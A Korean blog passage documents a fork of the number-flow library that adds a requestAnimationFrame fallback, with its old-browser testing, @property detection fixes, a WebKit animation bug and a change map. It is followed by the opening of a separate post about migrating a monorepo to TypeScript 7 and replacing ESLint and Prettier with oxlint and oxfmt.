그래서 검증을 세 레이어로 만들었다.

1. **선언**: `.browserslistrc`에 지원 하한(Chrome 66+, Safari/iOS 13+, Firefox 78+, Edge 79+)을 못 박는다.
2. **정적 검사**: CI에서 `eslint-plugin-compat`이 소스가 하한에서 없는 API를 쓰면 실패시킨다.
3. **실행**: 실제 구형 브라우저 바이너리로 selftest를 돌린다.

먼저 인정할 것이 있다. 세 레이어가 커버하는 범위는 같지 않다. 실행 증명이 닿는 곳은 Chromium 66+와 WebKit 16.4+까지다. 선언된 하한 중 iOS 13에서 16.3까지의 구간과 Firefox 78+는 정적 검사만 통과한, 이 절의 기준으로는 아직 "주장"이다. Safari 16.0에서 16.3까지의 WebKit 빌드는 현재 macOS에서 실행조차 안 되고, 구형 Firefox는 러너를 만들지 않았다. 그 구간의 하한은 API 표면의 정적 분석이 유일한 근거라는 것을 못 박아 둔다.

세 번째가 핵심이다. `demo/selftest.html`은 브라우저 안에서 스스로 다섯 가지 시나리오(스핀+폭 변화, 인터럽트 연타, 부호 크로스페이드, 실시간 티커, 종료 후 정리 상태)를 실행하고 44건의 assert 결과를 보고하는 페이지다. 이걸 Chromium 스냅샷 저장소에서 받은 실제 구버전 바이너리와, Playwright가 릴리스별로 고정해 둔 구버전 WebKit으로 실행한다. 매 커밋 도는 CI가 커버하는 것은 Chromium 66/80/114와 WebKit 16.4/17.4/18.2이고, 여덟 개 마일스톤(66/71/75/80/87/92/100/114) 전체 매트릭스는 로컬 러너로 확인한 결과다.

| 환경                                | 원본의 동작                          | 포크의 결과                             |
| ----------------------------------- | ------------------------------------ | --------------------------------------- |
| Chromium 66~114 (실바이너리 8종)    | 애니메이션 꺼짐                      | rAF 폴백 자동 선택, 44건 PASS           |
| WebKit 16.4 (Safari 16.4 상당)      | 애니메이션 꺼짐                      | rAF 폴백 자동 선택, PASS                |
| WebKit 17.4 / 18.2                  | 네이티브 (일부 실패, 아래 Safari 절) | 원본과 동일 실패, rAF 강제 시 전건 PASS |
| 최신 Chromium / Firefox / WebKit 26 | 네이티브                             | 네이티브·rAF 강제 모두 PASS             |
| Next.js 16 (React 19) SSR           | -                                    | 서버 마크업 + hydration 스모크 PASS     |

구형 Chromium을 CI에서 돌리는 데는 잔재주가 좀 필요했다. 오래된 바이너리는 최신 CDP 클라이언트와 호환이 안 되어 Playwright로 못 붙인다. 대신 `--headless --dump-dom`으로 selftest 페이지를 직접 실행하는데, 페이지가 `load` 이벤트를 검증이 끝날 때까지 지연시켰다가 완료 시점에 풀어 주면 그 순간 DOM 덤프가 트리거된다. 덤프된 DOM에서 결과를 수확하는 방식이다.

## 번복 1: "다 쓴 인라인 스타일은 지운다"는 틀렸다

여기부터는 뒤집은 판단들이다.

폴백 엔진은 매 프레임 인라인 스타일을 쓰니까, 애니메이션이 끝나면 지워서 스타일시트에 제어권을 돌려주는 게 당연한 뒷정리라고 생각했다. 실제로 그렇게 [고쳤다](https://github.com/yceffort/number-flow/commit/7bde206). rest 상태가 된 채널은 인라인 `--y`를 지운다.

그리고 며칠 뒤 이 결정을 [뒤집었다](https://github.com/yceffort/number-flow/commit/6be954f). 원인은 소유권과 타이밍의 불일치였다.

- 각 자릿수의 스핀은 **자릿수마다 다른 시점**에 끝난다. 1의 자리가 아직 도는 동안 100의 자리는 이미 멎어 있을 수 있다.
- 그런데 0~9 숫자 전체를 보이게 하는 `is-spinning` 클래스는 자릿수 단위가 아니라 **flow 전체**의 `animationsfinish` 시점에 제거된다.
- 먼저 멎은 자릿수의 인라인 `--y`를 그 자리에서 지우면, `mod()`가 없는 브라우저에서 스타일시트는 `--y`를 계산할 방법이 없다. 결과적으로 `is-spinning`이 아직 살아 있는 동안 그 자릿수의 숨어 있어야 할 숫자들이 그대로 노출된다.

수정은 "트윈이 끝난 채널도 flow가 다 멎을 때까지 resting 값을 인라인으로 유지하고, 정리는 flow 전체가 rest에 도달한 뒤 `Digit`이 한다"로 바뀌었다. 인라인 스타일을 지우는 코드 한 줄의 문제가 아니라, "이 값을 언제 누가 지우는가"라는 소유권 설계의 문제였다. 정리 코드는 쓰는 쪽이 아니라 수명을 아는 쪽에 두어야 한다는 것을 이 버그로 다시 배웠다.

## 번복 2: @property 감지는 세 번 고쳐 썼다

`@property` 지원 감지는 처음엔 업스트림과 같은 구조였다. 네 개의 커스텀 프로퍼티를 하나의 try 블록에서 `CSS.registerProperty`로 등록하고, throw하면 미지원으로 본다.

첫 번째 문제: 같은 라이브러리가 한 페이지에 두 카피 뜨면(마이크로 프론트엔드, 또는 원본과의 공존 시나리오. 결정 1에서 일부러 만든 상황이기도 하다) 두 번째 카피의 등록이 `InvalidModificationError`로 throw한다. 이건 "미지원"이 아니라 "이름 선점"인데, 배치 try/catch는 이 둘을 구분하지 못하고 지원되는 브라우저를 rAF로 강등시킨다. 그래서 [개별 등록으로 분해하고](https://github.com/yceffort/number-flow/commit/42182e1) `InvalidModificationError`는 지원으로 간주하게 고쳤다.

두 번째 문제: 리뷰 중에 이 판단도 안일하다는 걸 알게 됐다. `InvalidModificationError`는 이름이 선점됐다는 사실만 알려줄 뿐, **어떤 서술자로** 등록됐는지는 알려주지 않는다. 이게 왜 중요하냐면, 자릿수 스핀 수식은 `--_number-flow-d`가 `inherits: true`로 등록되어 부모의 애니메이션 값이 자식 `.digit__num`에게 상속되는 구조에 의존한다. 다른 코드가 같은 이름을 `inherits: false`로 선점해 두었다면, 등록은 "성공한 셈"이지만 애니메이션은 조용히 깨진다.

그래서 [세 번째 버전](https://github.com/yceffort/number-flow/commit/8f2bebd)은 선점된 등록의 실제 동작을 DOM으로 검사한다. 부모/자식 div를 만들어 프로브 값을 넣고, `getComputedStyle`로 syntax가 우리 값을 받아들이는지, 상속이 우리 기대와 같은지 확인한 뒤에만 지원으로 판정한다.

```ts
// styles.ts
const ok =
  // A different syntax would reject our probe value and compute to its
  // own initial value instead:
  getComputedStyle(parent).getPropertyValue(name) === probe &&
  getComputedStyle(child).getPropertyValue(name) ===
    (inherits ? probe : initialValue)
```

마지막에 사소해 보이지만 같은 계열의 함정이 하나 더 있었다. 네 개의 등록 결과를 `every()`로 판정하면 단락 평가 때문에 첫 실패 이후의 프로퍼티들이 등록조차 안 된 채 남는다. 그래서 `.map(registerProperty).every(Boolean)`으로, 전부 시도한 뒤에 판정하도록 순서를 강제했다.

## 자동 강등을 포기한 이유: Safari 17.4~18.x

포크 작업 중 가장 이상한 버그는 폴백 쪽이 아니라 네이티브 경로에서 나왔다. WebKit 17.4/18.2에서 selftest를 돌리면 44건 중 폭 스케일(그리고 macOS 빌드에서는 등장 페이드인까지)만 반복적으로 실패했다. 처음엔 당연히 포크가 만든 회귀를 의심했는데, 같은 시나리오를 원본 number-flow로 돌려도 똑같이 실패했다. 포크의 버그가 아니라 원본도 함께 걸려 있는 WebKit 버그였다.

증상을 좁혀 보면 이렇다. 같은 shadow root 안에서 애니메이션이 3개 이상 동시에 돌 때, WebKit은 등록된 커스텀 프로퍼티의 **애니메이션 중인 값**을 같은 요소의 다른 속성 `var()` 치환에 반영하지 않는다. `--scale-x: calc(1 + var(--_number-flow-d-width) / var(--width))`에서 델타가 항상 0으로 치환되어 폭 스케일 트윈이 사라지는 식이다. 자릿수 스핀은 `inherits: true`로 등록된 프로퍼티를 **자식 요소**가 소비하는 구조라서 이 버그를 우연히 비껴간다. 애니메이션 3개는 실제 숫자 업데이트라면 무조건 넘는 수치라, 해당 버전에서는 사실상 상시 발생한다.

이 버그의 고약한 부분은 관측이 안 된다는 점이다. `getComputedStyle`은 애니메이션 값이 정상 반영된 것처럼 보고하는데, 실제 스타일 해석에는 정적 선언값이 쓰인다. 처음에 "감지해서 자동으로 rAF 엔진으로 강등하면 되겠다"고 생각하고 프로브를 몇 가지 만들어 봤는데 전부 실패했다. `Animation.currentTime`을 직접 설정해 애니메이션 중간 상태를 만들면 스타일이 정상적으로 계산되어 버그가 재현되지 않는다. 재현에는 실시간으로 진행 중인 애니메이션 3개가 필요한데, 그걸 동기적 기능 감지로 만들 방법을 찾지 못했다.

그래서 자동 강등을 포기했다. 대신 세 가지를 남겼다.

1. **문서화**: README에 영향 범위(Safari 17.4~18.x, WebKit 26에서 해소), 실패하는 효과 두 개, 값·레이아웃·접근성은 정상이라는 것을 명시했다.
2. **탈출구**: 이 두 효과가 네이티브 경로보다 중요하다면 `setEngineMode('raf')`로 폴백 엔진을 명시 선택할 수 있다. 폴백은 모든 WebKit 버전에서 두 효과 모두 정상이다. 테스트용으로 만들었던 API가 여기서 두 번째 용도를 얻었다.
3. **회귀 감시**: CI의 WebKit 잡은 이 실패들을 "알려진 실패 목록"으로 관리한다. 목록에 있는 항목만 실패하면 통과하고, 그 외 실패는 진짜 회귀로 잡아낸다. 반대로 어떤 WebKit 빌드가 이 항목들을 통과하기 시작하면 러너가 목록을 줄이라고 알려 준다.

숙제도 하나 남아 있다. 이 버그의 근거는 아직 이 저장소 안에만 있다. 같은 시나리오에서 원본도 동일하게 실패한다는 교차 확인까지는 했지만, 라이브러리와 무관한 최소 재현을 만들어 WebKit Bugzilla에 보고하는 데까지는 이르지 못했다. 재현 조건인 "실시간으로 진행 중인 동시 애니메이션 3개"를 독립 페이지로 옮기는 일이 남아 있고, 그 전까지 이 절의 주장은 selftest 결과 이상의 외부 근거를 갖지 못한다.

우아한 강등이 항상 가능한 것은 아니고, 불가능하다는 사실을 확인했다면 그 확인 과정 자체를 문서와 CI에 남기는 것이 차선이라고 생각한다. 참고로 이 실패 중 등장 페이드인은 macOS WebKit 빌드에서만 재현되고 CI가 도는 Linux 빌드에서는 재현되지 않았다. "같은 버전의 WebKit"이라는 말이 빌드에 따라 다른 것을 의미할 수 있다는 것도 이번에 처음 겪었다.

## 변경 지도: 어디를 어떻게 왜 바꿨나

여기까지가 판단의 기록이라면, 이 절은 그 판단들이 실제로 코드 어디에 내려앉았는지의 목록이다. 업스트림 대비 의미 있는 diff가 있는 파일은 여섯 개이고, 새로 만든 것은 엔진 두 파일과 테스트다. 전체를 표로 먼저 훑고, 파일별로 항목을 짚는다.

| 파일                   | 주된 변경                                              | 이유                        |
| ---------------------- | ------------------------------------------------------ | --------------------------- |
| `lite.ts`              | 애니메이션 호출 7곳의 엔진 경유, 종료·대기 경로 이원화 | 구동부 교체의 본체          |
| `styles.ts`            | `@property` 감지 재작성, `round()` 이중 선언           | 기능 감지 오판 방지         |
| `ssr.ts`               | HTML/CSS 이스케이프, 폴백 스타일 이중화                | 서버 출력의 안전성          |
| `index.ts`, `group.ts` | 포매터 메모 키 직렬화, `queueMicrotask` 폴리필         | 재생성 비용, Chrome 71 미만 |
| `react/*`              | 엘리먼트 네임스페이스 분리, 캐시 상한                  | 원본과의 공존, 메모리       |
| `engine/*` (신규)      | rAF 엔진, easing 파서                                  | 폴백 경로의 본체            |

`formatter.ts`와 util 파일들은 포매팅 차이를 빼면 업스트림과 의미상 동일하다. 바꾸지 않은 것을 바꾸지 않았다고 말할 수 있는 상태가 vendoring의 이점이라서, 이 목록도 그 기준으로 관리하고 있다.

### lite.ts: 구동부 교체의 본체

- **애니메이션 시작 7곳의 엔진 경유(결정 1)와 `canAnimate` 재정의(결정 2)의 실체가 이 파일이다.** 앞에서 다뤘으므로 위치만 적으면, 7곳은 `Num`(폭 변화), `Section`/`Sym`/`Digit`(가로 이동), `Digit`(자릿수 스핀), `AnimatePresence`(등장/퇴장 페이드 두 곳)이고, `composite: 'accumulate'` 지정은 엔진 내부로 이동했다.
- **애니메이션 강제 종료와 완료 대기가 엔진별로 갈라졌다.** 원본은 `shadowRoot.getAnimations()`로 애니메이션을 열거해서 `finish()`하거나 `finished`를 기다리는데, rAF 엔진의 트윈은 WAAPI 목록에 잡히지 않는다. 그래서 `usesNativeEngine()`에 따라 원본 코드 또는 엔진의 `finishAll()`/`finishedOf()`로 분기한다. 이때 애니메이션 없이 끝나는 업데이트 경로에도 종료 처리를 넣었는데, 이유는 주석에 남긴 그대로다.

```ts
// lite.ts, didUpdate
if (!this.computedAnimated || !this._preUpdated) {
  // A non-animated update landing mid-flight (hidden tab, reduced
  // motion, invisible element) must not leave the old tweens running:
  // they'd keep deriving offsets from the already-updated --current:
  if (usesNativeEngine())
    this.shadowRoot?.getAnimations().forEach((a) => a.finish())
  else finishAll(this)
  return
}
```

숨은 탭이나 reduced motion 상태에서 값이 갱신되면 애니메이션 없이 DOM만 바뀌는데, 이때 날아가던 트윈을 그대로 두면 이미 갱신된 `--current` 위에 이전 델타를 계속 얹어서 숫자가 어긋난 위치에 그려진다.

- **`Num` 생성자가 rAF 모드에서 초기값을 인라인으로 심는다.** `--scale-x: 1`, `--_number-flow-dx: 0px`. rAF 엔진은 폭 델타 변수를 애니메이션하는 대신 `--scale-x`를 계산 완료된 숫자로 직접 쓰는데(구형 브라우저는 치환 결과가 `calc()` 수식인 `var()` 값으로 나누는 연산을 소화하지 못한다), 그러려면 애니메이션이 없는 평상시에도 나눗셈의 기준이 될 안정된 값이 있어야 한다.
- **접근성 폴백.** Chrome 77~80은 `ElementInternals`는 있지만 ARIAMixin이 없어서 `internals.ariaLabel = ...` 대입이 조용히 무시된다. `'ariaLabel' in internals`로 감지해서 없으면 `setAttribute('aria-label', ...)`로 폴백한다. "구형 브라우저 지원"을 표방하는 순간, 이런 조용한 무시들이 전부 지원 범위의 책임이 된다.
- **React 19의 이중 마운트 리플로우 차단은 업스트림에서 물려받은 것이다.** React 19는 커밋 중에 커스텀 엘리먼트의 `data` 프로퍼티를 설정하고, 래퍼의 `componentDidMount`가 같은 객체를 한 번 더 설정하는데, 동일성 검사가 없으면 두 번째 설정이 업데이트 경로를 타서 마운트마다 모든 섹션과 자릿수를 재측정하며 동기 리플로우를 강제한다([이슈 #195](https://github.com/barvian/number-flow/issues/195)). 이 검사는 vendoring한 시점의 업스트림에 이미 들어 있었고(upstream PR #196), 포크는 유지만 했다. 포크의 개선이 아니므로 성격을 분리해 적어 둔다.
- **백그라운드 탭 애니메이션 누수 가드도 마찬가지로 업스트림의 것이다.** 숨은 탭에서는 WAAPI 애니메이션이 pending인 채 쌓여서, 초 단위로 값이 갱신되는 페이지를 오래 백그라운드에 두면 메모리가 기가바이트 단위로 새는 문제가 보고되어 있었다([이슈 #165](https://github.com/barvian/number-flow/issues/165)). 이를 막는 `visibilityState === 'visible'` 게이트 역시 업스트림에 이미 있었고 포크는 물려받았다. 포크 고유의 기여는 rAF 폴백 경로에 한정된다: 그쪽에서는 백스톱 타이머가 백그라운드에서도 트윈을 끝까지 진행시키므로, pending이 쌓일 자리 자체가 없다.
- **섹션 diff의 제거 감지를 O(n²)에서 O(n)으로.** 기존 자식마다 새 파트 배열을 선형 탐색(`parts.find(...)`)하던 것을, 키 `Set`을 한 번 만들어 `has()`로 조회하게 바꿨다. 자릿수가 많은 숫자에서 업데이트마다 반복되는 경로라서다.

### styles.ts: 기능 감지와 폴백 스타일

- **`@property` 감지가 배치 등록에서 개별 등록 + DOM 프로브로 바뀌었다.** 번복 2에서 다룬 3단 진화의 결과물이다. 등록 결과 판정도 `.map(registerProperty).every(Boolean)` 순서로 강제해서, `every()`의 단락 평가가 나머지 프로퍼티를 미등록 상태로 남기지 않게 했다.
- **`round()` 의존 스타일이 이중 선언되었다.** 마스크 높이·패딩처럼 애니메이션 밖에서 `round()`를 쓰는 값들은 먼저 `round()` 없는 폴백 값으로 선언하고, `var()` 없는 리터럴 프로브의 `@supports` 블록 안에서 `round()` 버전으로 덮는다. 결정 5에서 다룬 함정의 대응이다.

### ssr.ts: 서버 출력의 안전성

- **HTML 이스케이프 추가.** SSR 렌더러의 출력은 `dangerouslySetInnerHTML`로 주입되는데, `prefix`/`suffix` 같은 호출자 데이터가 이스케이프 없이 텍스트와 `aria-label` 속성으로 들어가고 있었다. `&`, `<`, `"` 계열의 이스케이프를 넣었다.
- **CSS 셀렉터 이스케이프 추가.** 커스텀 엘리먼트 이름을 만드는 `elementSuffix`가 폴백 스타일의 셀렉터에 그대로 들어간다. 서버에는 `CSS.escape`가 없어서 ident-unsafe 문자를 hex 이스케이프하는 구현을 직접 넣었다. 입력을 거부하는 대신 이스케이프를 택한 것은, 커스텀 엘리먼트 이름 규칙상 밑줄이나 비ASCII 문자가 합법이기 때문이다.
- **폴백 스타일에도 `@supports` 이중 선언 적용.** SSR이 그리는 정적 폴백 `<span>`의 스타일도 본체와 같은 `round()` 이중화를 따른다.

### index.ts, group.ts: 작은 호환 수리

- **포매터 메모 키를 참조 비교에서 직렬화 비교로.** 원본은 format 옵션 객체를 참조 동일성으로 비교하는데("Might want to do a deep-equal check here"라는 주석이 남아 있다), 호출부에서 매 렌더 새 객체 리터럴을 넘기는 흔한 패턴에서는 렌더마다 `Intl.NumberFormat`을 새로 만들게 된다. `JSON.stringify` 비교로 바꾸면서 locale은 `Intl.getCanonicalLocales`로 먼저 정규화했다. `Intl.Locale` 인스턴스는 own enumerable 속성이 없어서 그냥 stringify하면 전부 `{}`로 뭉개지기 때문이다.
- **`queueMicrotask` 폴리필.** Chrome 71 미만 WebView에는 `queueMicrotask`가 없다. `Promise.resolve().then(cb)`로 대체하는 세 줄이다.

### packages/react: 공존과 상한

- **커스텀 엘리먼트 네임스페이스 분리.** `number-flow-react` 대신 `number-flow-yceffort-react`로 등록한다. 결정 1에서 언급한 대로, 마이그레이션 기간에 원본 패키지와 한 페이지에 떠도 커스텀 엘리먼트 등록이 충돌하지 않게 하기 위해서다.
- **포매터 캐시에 64개 상한.** 원본의 무한 성장하는 `Record` 캐시를 `Map` 기반으로 바꿨다. 여기도 두 단계 수정이 있었는데, 처음엔 가득 차면 전체를 비우게 했다가 문제를 발견했다. 매번 새 옵션 객체를 만들어내는 호출자가 상한에 도달하는 순간부터 캐시 전체를 반복적으로 전멸시켜서(자주 쓰는 항목까지 같이 날아간다) 적중률이 사실상 0%로 떨어진다. [가장 오래된 항목 하나만 밀어내는 방식](https://github.com/yceffort/number-flow/commit/f02f1e7)으로 고쳤고, engine의 easing 파서 캐시(역시 상한 64개)도 같은 정책을 따른다.
- **`usePrefersReducedMotion`의 null 안전화.** `matchMedia`가 없는 환경에서 getSnapshot이 throw하지 않게 `?.matches ?? false`로 바꿨다.

### 새로 만든 것, 덜어낸 것

- **신규**: [engine/index.ts](https://github.com/yceffort/number-flow/blob/578d5f0/packages/number-flow/src/engine/index.ts)(rAF 엔진)와 [engine/easing.ts](https://github.com/yceffort/number-flow/blob/578d5f0/packages/number-flow/src/engine/easing.ts)(easing 파서)가 폴백의 본체다. 그 외에 easing 파서·mod 수식·가산 합성을 검증하는 유닛 테스트, 브라우저 안에서 스스로 검증하는 selftest 데모, 구형 브라우저 러너 스크립트가 새로 들어갔다. 업스트림은 Playwright 기반 앱 테스트 중심이라 이 계층의 유닛 테스트가 없었는데, CSS 수식을 JS로 포팅한 이상 그 포팅의 정확성은 유닛 레벨에서 고정해 둘 필요가 있었다.
- **제거**: Vue/Svelte 래퍼, 문서 사이트, 업스트림의 e2e 테스트 앱 인프라. 코어가 동일하므로 래퍼는 필요해지면 원본을 참고해 추가할 수 있다고 보고, 유지 범위를 줄이는 쪽을 택했다.

## 남겨둔 것들

정직하게 적어 두면, 이 포크에도 명확한 한계가 있다.

- 폴백 엔진은 메인 스레드에서 돈다. 다만 이 비용의 실체는 부풀리지 않고 적는 게 정확할 것 같다. 매 프레임 하는 일은 트윈 몇 개의 산술 합산과 인라인 커스텀 프로퍼티 몇 개의 기록, 그리고 그로 인한 작은 shadow root 서브트리의 스타일 재계산이 전부다. transform과 opacity만 건드리므로 레이아웃은 일어나지 않고, WAAPI 이전 시대의 JS 애니메이션 라이브러리들이 바로 이런 기기에서 오래 쓰던 것과 같은 모델이다. 원본의 네이티브 경로도 커스텀 프로퍼티 애니메이션은 compositable하지 않아 매 프레임 메인 스레드 스타일 재계산을 거치는 것은 같으므로, 폴백이 얹는 추가분은 JS 틱 비용이지 새로운 종류의 일이 아니다. 그래도 이 비용이 청구되는 기기가 정의상 구형이라는 구조는 남는다. 카운터 하나면 무시할 수준이겠지만 flow 수십 개가 동시에 도는 티커 류에서는 차이가 실제가 될 수 있고, 이 글의 검증은 전부 동작 검증이지 성능 실측이 아니라서 그 경계가 어디인지는 측정하지 않았다. 방금 문장들도 구조에서 따라 나온 추정이지 수치를 가진 주장은 아니다.
- 폴백의 `EffectTiming`은 `duration`/`delay`/`easing`만 해석하고 `iterations` 같은 옵션은 무시한다.
- `mix-blend-mode: plus-lighter`가 없는 브라우저에서 ± 기호 크로스페이드는 일반 페이드로 소폭 열화된다.
- Vue/Svelte 래퍼는 포팅하지 않았다.
- 하한 아래(Chrome 66 미만)에는 우아한 강등이 없다. Chrome 64~65는 `AbortController`가 없어 애니메이션 업데이트가 throw한다. 하한을 내리는 작업의 아이러니인데, 하한을 어디까지 내리든 그 바로 아래에서의 동작을 정의해야 하는 것은 똑같았다. 지원 범위 안에서는 "정적이지만 정확한 렌더링"으로 열화된다는 것, 하한 밖에서는 예외가 난다는 것을 문서에 못 박는 것으로 정리했다. 개인적으로는, Chrome 66과 Safari 13을 쓰는 사람이 이제는 없기를 바랄 뿐이다.

## 배운 것들

본문에 흩어져 있는 교훈들을 한 줄씩으로 추려서 남겨 둔다. 대부분은 이 포크가 아니어도 적용되는 이야기라고 생각한다.

- 정리 코드는 값을 쓰는 쪽이 아니라 수명을 아는 쪽에 둔다. 번복 1의 인라인 스타일 버그가 남긴 문장이다.
- 기능 감지는 "있는가"가 아니라 "우리 기대대로 동작하는가"를 물어야 한다. 번복 2의 `@property` 감지는 두 방향으로 틀렸다. 처음엔 등록 throw를 전부 미지원으로 봐서, 다른 카피가 이름을 선점했을 뿐인 멀쩡한 브라우저를 강등시켰다. 다음엔 선점을 전부 지원으로 봐서, 다른 서술자로 선점되어 애니메이션이 조용히 깨지는 경우까지 지원이라 판정했다. DOM에서 기대 동작을 직접 확인하고서야 끝났다.
- 스펙 함수를 JS로 포팅하면 계산식만 오는 게 아니라 유효성 규칙까지 따라온다. 브라우저 파서가 걸러 주던 입력이 포팅본에서는 `NaN`으로 조용히 통과한다.
- "구형 브라우저 지원"을 표방하는 순간, 조용히 무시되는 API 대입 하나하나가 전부 지원 범위의 책임이 된다.
- 지원 범위 주장은 실행으로만 증명된다. 실행이 닿지 않는 구간이 남는다면, 주장과 증명을 구분해서 적는 것까지가 일이다.
- 우아한 강등이 불가능한 경우도 있다. 불가능하다는 확인에 든 과정을 문서와 CI에 남기는 것이 차선이다.

덧붙여, 원본 설계에 대한 감상이 하나 남았다. 애니메이션 상태를 전부 커스텀 프로퍼티로 표현하고 스타일시트가 그것을 소비하는 원본의 구조 덕분에, 폴백 엔진은 "같은 프로퍼티를 JS로 채워 넣는" 것만으로 원본 CSS를 그대로 재사용할 수 있었다. 값의 생산자와 소비자가 CSS 커스텀 프로퍼티라는 좁은 인터페이스로 분리되어 있었기 때문에 구동부 교체가 가능했던 셈이다. 만들 때 의도한 확장점은 아니었겠지만, 관심사가 잘 갈라진 코드는 원저자가 상상하지 않은 방향으로도 열려 있다는 것을 확인한 작업이었다.

## 저장소와 데모

작업의 결과물은 전부 공개되어 있다.

- **저장소**: [github.com/yceffort/number-flow](https://github.com/yceffort/number-flow). 이 글에서 인용한 코드와 selftest, 구형 브라우저 러너, CI 구성이 모두 들어 있다.
- **라이브 데모**: [yceffort.github.io/number-flow](https://yceffort.github.io/number-flow/). Storybook에서 실시간 티커, 인터럽트 연타 같은 시나리오를 직접 조작해 볼 수 있다. rAF 폴백을 강제하는 스토리도 있어서, 모던 브라우저에서도 폴백 엔진의 결과를 눈으로 비교할 수 있다.
- **패키지**: [`@yceffort/number-flow`](https://www.npmjs.com/package/@yceffort/number-flow), [`@yceffort/number-flow-react`](https://www.npmjs.com/package/@yceffort/number-flow-react). 결정 1에서 다룬 alias 방식으로 원본 자리에 코드 수정 없이 끼울 수 있다.

반례 제보나 질문은 저장소 이슈로 남겨 주시면 감사하겠다. 특히 Safari 절의 WebKit 버그에 대해 독립 재현이나 추가 정보를 가진 분이 있다면 더욱 반갑다.

마지막으로, 이 포크는 원작이 있어야만 존재할 수 있는 작업이다. 뜯어볼수록 감탄한 설계였고, 구동부를 통째로 갈아 끼우는 일이 가능했던 것 자체가 그 설계의 증명이었다. 이 글의 어떤 문장도 원작에 대한 비판으로 읽히지 않기를 바란다. number-flow를 만들어 공개해 준 [Maxwell Barvian](https://github.com/barvian)에게 존경과 감사를 전하며, 이 포크의 작업 중 upstream에 유의미한 것이 있다면, 언제든.

---

Source: https://yceffort.kr/2026/08/typescript-7-oxc-migration.md
Title: <em>typescript@7</em>을 설치하면 벌어지는 일들: 블로그 모노레포 마이그레이션 기록
Description: pnpm lint가 12분 32초 걸리던 모노레포에 typescript 7.0.2를 넣어봤다. 타입체크는 조용히 지나갔는데 next build가 깨졌고, lint는 크래시했다. eslint와 prettier를 oxlint와 oxfmt로 갈아탄 하루의 연쇄 반응과 전후 실측 기록. 미리 말해두면, 빌드는 빨라지지 않았다.
Date: 2026-08-10
Tags: typescript, oxc, eslint, tooling, frontend

## Table of Contents

## 토요일 저녁, typescript@7

이 블로그 저장소에서 `pnpm lint`는 12분 32초가 걸리는 명령이었다. 지금은 0.4초에 끝난다. 다만 이런 숫자 뒤에는 보통 성공담이 따라오기 마련이라 미리 고백해두면, **빌드는 1초도 빨라지지 않았다.** 43.0초였던 콜드 빌드는 지금도 43.4초다.

[TypeScript 7](https://devblogs.microsoft.com/typescript/announcing-typescript-7-0/)이 npm의 latest가 된 것을 보고, 토요일 저녁에 가벼운 마음으로 사이드 프로젝트(이 블로그의 pnpm 모노레포)에 설치해 봤다. 컴파일러가 Go로 다시 쓰인 메이저 버전이니 반나절은 각오했는데, 정작 TS 7 자체는 10분 만에 끝났고 나머지 시간은 전부 다른 것들이 연쇄적으로 무너지는 것을 수습하는 데 썼다. 이 글은 그 하루의 기록이다. 그날의 커밋 로그를 따라가면 이렇게 된다.

- ⬆️ [Upgrade to TypeScript 7 and Next.js 16.3](https://github.com/yceffort/blog/commit/46d0f9ac)
- 🔧 [Replace eslint and prettier with oxlint and oxfmt](https://github.com/yceffort/blog/commit/535795db)
- ♻️ [Adapt code to oxlint ruleset](https://github.com/yceffort/blog/commit/3a43ab23)
- 🎨 [Reformat with oxfmt and sort imports](https://github.com/yceffort/blog/commit/a031d0e0)
- ⬆️ [Migrate to pnpm 11 and trim overrides](https://github.com/yceffort/blog/commit/38e03cc5)
- ♿ [Adopt native dialog and button semantics](https://github.com/yceffort/blog/commit/fe4c6299)
- 🔧 [Enable type-aware linting via tsgolint](https://github.com/yceffort/blog/commit/9b7a8e18)
- 🐛 [Fix sitemap tag urls and issue link slug](https://github.com/yceffort/blog/commit/d1da090e)

typescript를 올리러 갔다가 lint와 포매터가 통째로 교체되고, 마지막에는 몇 달 묵은 버그 수정으로 끝난다. 순서대로 따라가 본다.

> 대상 버전: typescript 5.9.3 → 7.0.2, next 16.2.12 → 16.3.0, eslint 9.39.5 → oxlint 1.77.0 (+ oxlint-tsgolint 7.0.2001), prettier 3.9.6 → oxfmt 0.62.0 (베타), pnpm 10.6.5 → 11.20.0

## 업그레이드 자체는 10분

`pnpm add typescript@7`을 하고 고친 것은 tsconfig 두 줄이 전부다. 애플리케이션 코드는 한 줄도 건드리지 않았다.

하나는 `baseUrl` 삭제. TS 7에서 이 옵션 자체가 제거되어 지우는 것 외에 선택지가 없었고, 상대 경로 import만 쓰는 저장소라 지워도 아무 일이 없었다. 다른 하나는 `lib`을 `es2023`으로 올린 것인데, 이건 뒤에 나올 oxlint 대응(`sort`를 `toSorted`로 교체) 때문이지 TS 7 탓은 아니다. 굳이 함정이라 부를 만한 것은 하나였다. `lib`을 올렸는데도 `toSorted`가 없다는 에러가 계속 나서 한참 들여다봤는데, 범인은 이전 컴파일이 남긴 tsbuildinfo 캐시였다. 컴파일러를 통째로 갈아 끼운 날 만난 가장 큰 컴파일러 문제가 캐시 파일 삭제였다는 것이 TS 7의 호환성을 잘 말해준다고 생각한다.

여기까지가 10분. 문제는 `tsc`가 아니라 `tsc` 위에 쌓여 있던 것들이었다.

## 첫 번째로 깨진 것: next build

typescript@7 패키지에는 `lib/typescript.js`가 없다. 컴파일러가 Go 바이너리가 되면서, 수많은 도구가 의존해 온 JS 컴파일러 API가 통째로 사라졌다. Next.js는 빌드 중 타입체크를 바로 그 JS API로 하고 있었고, 당시 버전이던 16.2.12는 API가 없는 typescript 패키지를 만나자 빌드 단계에서 실패했다.

해법은 Next.js 16.3에 있었다. 16.3은 [useTypeScriptCli](https://nextjs.org/docs/app/api-reference/config/next-config-js/useTypeScriptCli)라는 이름으로 JS API 대신 로컬 tsc CLI를 직접 호출하는 방식을 넣었고, 이게 기본으로 켜져 있어 TS 6은 물론 JS API가 없는 TS 7에서도 빌드 중 타입체크가 동작한다. 그러니까 **typescript 메이저 업그레이드가 next 마이너 업그레이드를 강제**한 셈인데, 프레임워크가 컴파일러를 따라가는 게 아니라 컴파일러가 프레임워크 버전을 끌어올리는 방향이라 조금 낯설었다. 16.3으로 올리는 김에, 삭제된 `experimental.viewTransition` 플래그도 next.config에서 지웠다.

## 두 번째로 깨진 것: lint

빌드를 살리고 `pnpm lint`를 돌리자 이번에는 eslint가 죽었다. 규칙 위반 목록이 아니라 실행 자체가 죽는 하드 크래시였고, 메시지는 "typescript-eslint does not support TS 7.0"으로 시작해서 TS 6 API로 우회하는 방법을 안내하는 링크로 끝났다.

